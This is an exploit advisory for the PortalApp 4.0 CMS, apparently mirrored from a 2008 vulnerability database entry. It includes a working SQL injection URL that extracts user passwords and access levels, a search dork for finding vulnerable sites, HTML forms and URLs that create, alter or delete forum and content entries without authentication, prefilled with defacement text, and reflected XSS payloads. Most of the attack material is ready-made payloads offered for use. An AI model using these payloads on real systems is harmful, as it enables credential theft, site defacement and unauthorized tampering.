PortalApp 4.0 (SQL/XSS/Auth Bypasses) Multiple Remote Vulnerabilities

🗓️ 07 Jan 2008 00:00:00Reported by RootType
PortalApp 4.0 Multiple Remote Vulnerabilitie

                                                ##############################################################################
#Title:&nbsp;PortalApp&nbsp;4.0&nbsp;Multiple&nbsp;vulnerabilities&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#Discovered&nbsp;By:&nbsp;r3dm0v3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://r3dm0v3.persianblog.ir&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r3dm0v3(&nbsp;4t&nbsp;}yahoo[dot}com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Tehran&nbsp;-&nbsp;Iran&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#Vendor:&nbsp;http://www.portalapp.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#Vulnerable&nbsp;Version:&nbsp;4.0,&nbsp;prior&nbsp;versions&nbsp;maybe&nbsp;vulnerable&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#Remote&nbsp;Exploit:&nbsp;Yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#Dork:&nbsp;&quot;Copyright&nbsp;@2007&nbsp;Iatek&nbsp;LLC&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#Fix:&nbsp;Not&nbsp;Available&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
##############################################################################

##############################################################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL&nbsp;Injection&nbsp;(CRITICAL)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
##############################################################################
#Description:
PortalApp&nbsp;is&nbsp;a&nbsp;Content&nbsp;Management&nbsp;System&nbsp;(CMS)&nbsp;for&nbsp;websites.
Bug:&nbsp;The&nbsp;user&nbsp;input&nbsp;'sortby'&nbsp;is&nbsp;directly&nbsp;used&nbsp;in&nbsp;query&nbsp;statement!

#Exploit:
http://site.com/forums.asp?keywords=r3dm0v3&amp;do_search=1&amp;sortby=users.user_name+UNION+SELECT+1,2,3,4,5,password,user_name,8,9,10,user_id,accesslevel,13,14,15+FROM+Users

author&nbsp;will&nbsp;be&nbsp;usernames
topic&nbsp;will&nbsp;be&nbsp;passwords
replies&nbsp;will&nbsp;be&nbsp;username&nbsp;IDs
views&nbsp;will&nbsp;be&nbsp;access&nbsp;levels&nbsp;(5&nbsp;is&nbsp;super&nbsp;admin)


##############################################################################
#&nbsp;Following&nbsp;actions&nbsp;in&nbsp;'forum.asp'&nbsp;can&nbsp;take&nbsp;done&nbsp;without&nbsp;any&nbsp;authentication.&nbsp;#
##############################################################################
create&nbsp;a&nbsp;forum:
&lt;html&gt;
&lt;form&nbsp;action=http://site.com/forums.asp?action=insert_level1_edit_disc_forums&nbsp;method=post&gt;
&nbsp;userid:&lt;input&nbsp;type=text&nbsp;name=user_id&nbsp;value=255&gt;by&nbsp;default&nbsp;255&nbsp;is&nbsp;sa&lt;br&gt;
&nbsp;ForumName:&lt;input&nbsp;type=text&nbsp;name=ForumName&nbsp;value=&quot;H4c|&lt;3d&nbsp;bY&nbsp;r3dm0v3&quot;&gt;&lt;br&gt;
&nbsp;Description:&lt;input&nbsp;type=text&nbsp;name=Description&nbsp;value=&quot;r3dm0v3&nbsp;was&nbsp;here.&nbsp;&lt;a&nbsp;href=http://r3dm0v3.persianblog.ir&gt;http://r3dm0v3.persianblog.ir&lt;/a&gt;&quot;&gt;&lt;br&gt;
&nbsp;ForumSection:&lt;input&nbsp;type=text&nbsp;name=ForumSection&nbsp;value=&quot;Hacked&quot;&gt;&lt;br&gt;
&nbsp;DisplayOrder:&lt;input&nbsp;type=text&nbsp;name=DisplayOrder&nbsp;value=1&gt;&lt;br&gt;
&nbsp;&lt;input&nbsp;type=submit&gt;
&lt;/form&gt;
&lt;/html&gt;

create&nbsp;a&nbsp;topic:
&lt;html&gt;
&lt;form&nbsp;action=http://site.com/forums.asp?action=insert_level2_edit_disc_topics&nbsp;method=post&gt;
&nbsp;userid:&lt;input&nbsp;type=text&nbsp;name=user_id&nbsp;value=255&gt;by&nbsp;default&nbsp;255&nbsp;is&nbsp;sa&lt;br&gt;
&nbsp;ForumID:&lt;input&nbsp;type=text&nbsp;name=ForumId&nbsp;value=&gt;&lt;br&gt;
&nbsp;Subject:&lt;input&nbsp;type=text&nbsp;name=Subject&nbsp;value=&quot;r3dm0v3.&quot;&gt;&lt;br&gt;
&nbsp;Message:&lt;br&gt;&lt;textarea&nbsp;rows=3&nbsp;cols=50&nbsp;name=Message&gt;r3dm0v3&nbsp;was&nbsp;here.&lt;/textarea&gt;&lt;br&gt;
&nbsp;Icon:&lt;input&nbsp;type=text&nbsp;name=Icon&nbsp;value=14&gt;&lt;br&gt;
&nbsp;Show&nbsp;Signature:&lt;input&nbsp;type=text&nbsp;name=Showsignature&nbsp;value=0&gt;&lt;br&gt;
&nbsp;Notify:&lt;input&nbsp;type=text&nbsp;name=Notify&nbsp;&gt;&lt;br&gt;
&nbsp;Locked:&lt;input&nbsp;type=text&nbsp;name=Locked&nbsp;value=1&gt;&lt;br&gt;
&nbsp;Sticky:&lt;input&nbsp;type=text&nbsp;name=Sticky&nbsp;&gt;&lt;br&gt;
&nbsp;Date:&lt;input&nbsp;type=text&nbsp;name=DateAdded&nbsp;value=&quot;6/1/2008&quot;&gt;&lt;br&gt;
&nbsp;DateLast:&lt;input&nbsp;type=text&nbsp;name=DateLast&nbsp;value=&quot;6/1/2008&quot;&gt;&lt;br&gt;
&nbsp;&lt;input&nbsp;type=submit&gt;
&lt;/form&gt;
&lt;/html&gt;

delete&nbsp;a&nbsp;forum:&nbsp;http://site.com/forums.asp?action=delete_level1_edit_disc_forums&amp;ForumId=[ForumID]
delete&nbsp;a&nbsp;topic:&nbsp;http://site.com/forums.asp?action=delete_level2_edit_disc_topics&amp;TopicId=[TopicID]
delete&nbsp;a&nbsp;reply:&nbsp;http://site.com/forums.asp?action=delete_level3_edit_disc_replies&amp;ReplyId=[ReplyID]
delete&nbsp;a&nbsp;topic&nbsp;reply:&nbsp;http://site.com/forums.asp?action=delete_level2_disc_replies&amp;TopicId=[TopicID]&amp;ReplyId=[ReplyID]

#There&nbsp;some&nbsp;other&nbsp;actions:
insert_level3_edit_disc_replies
insert_detail_disc_topics
update_level1_edit_disc_forums
update_level2_edit_disc_topics
update_level3_edit_disc_replies
update_detail_disc_topics
update_level2_disc_replies


##############################################################################
#Following&nbsp;actions&nbsp;in&nbsp;'Content.asp'&nbsp;can&nbsp;take&nbsp;done&nbsp;without&nbsp;any&nbsp;authentication.#
##############################################################################
Add&nbsp;content:
&lt;html&gt;
&lt;form&nbsp;action=http://site.com/content.asp?action=insert_detail_default&nbsp;method=post&gt;
&nbsp;userid:&lt;input&nbsp;type=text&nbsp;name=user_id&nbsp;value=255&gt;by&nbsp;default&nbsp;255&nbsp;is&nbsp;sa&lt;br&gt;
&nbsp;ContentTypeID:&lt;input&nbsp;type=text&nbsp;name=ContentTypeID&nbsp;value=2&gt;1:general(company)&nbsp;2:article&nbsp;3:lin&nbsp;4:news&nbsp;5:announcement&nbsp;6:download&nbsp;7:gallery&nbsp;8:faq&nbsp;...&lt;br&gt;
&nbsp;catID:&lt;input&nbsp;type=text&nbsp;name=CatID&nbsp;value=198&gt;&lt;br&gt;
&nbsp;Date:&lt;input&nbsp;type=text&nbsp;name=DateAdded&nbsp;value=&quot;6/1/2008&quot;&gt;&lt;br&gt;
&nbsp;Author:&lt;input&nbsp;type=text&nbsp;name=Author&nbsp;value=r3dm0v3&gt;&lt;br&gt;
&nbsp;title:&lt;input&nbsp;type=text&nbsp;name=Title&nbsp;value=&quot;h4ck3d&nbsp;bY&nbsp;r3dm0v3&quot;&gt;&lt;br&gt;
&nbsp;ShortDesc:&lt;br&gt;&lt;textarea&nbsp;rows=3&nbsp;cols=50&nbsp;name=ShortDesc&gt;r3dm0v3&nbsp;was&nbsp;here.&lt;/textarea&gt;&lt;br&gt;
&nbsp;LongDesc:&lt;br&gt;&lt;textarea&nbsp;rows=4&nbsp;cols=50&nbsp;&nbsp;name=LongDesc&gt;r3dm0v3&nbsp;was&nbsp;here.&nbsp;http://r3dm0v3.persianblog.ir&lt;/textarea&gt;&lt;br&gt;
&nbsp;relatedULR&lt;input&nbsp;type=text&nbsp;name=RelatedURL&nbsp;value=&quot;http://r3dm0v3.persianblog.ir&quot;&gt;&lt;br&gt;
&nbsp;DownloadURL:&lt;input&nbsp;type=text&nbsp;name=DownloadURL&gt;&lt;br&gt;
&nbsp;Filename:&lt;input&nbsp;type=text&nbsp;name=Filename&gt;&lt;br&gt;
&nbsp;Thumbnail:&lt;input&nbsp;type=text&nbsp;name=Thumbnail&gt;&lt;br&gt;
&nbsp;Image1:&lt;input&nbsp;type=text&nbsp;name=Image1&gt;&lt;br&gt;
&nbsp;PrevContentID:&lt;input&nbsp;type=text&nbsp;name=PrevContentId&gt;&lt;br&gt;
&nbsp;NextContentID:&lt;input&nbsp;type=text&nbsp;name=NextContentId&gt;&lt;br&gt;
&nbsp;views:&lt;input&nbsp;type=text&nbsp;name=Impressions&nbsp;value=10000&gt;&lt;br&gt;
&nbsp;AVGRating:&lt;input&nbsp;type=text&nbsp;name=AvgRating&nbsp;value=10000&gt;&lt;br&gt;
&nbsp;&lt;input&nbsp;type=submit&gt;
&lt;/form&gt;
&lt;/html&gt;

'insert_detail_content'&nbsp;is&nbsp;also&nbsp;vulnerable.&nbsp;Use&nbsp;above&nbsp;html&nbsp;code&nbsp;for&nbsp;exploit


##############################################################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XSS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
##############################################################################
http://site.com/forums.asp?keywords=%27%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&amp;do_search=1
http://site.com/content.asp?ContentType=General&amp;keywords=%27%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&amp;do_search=1
07 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1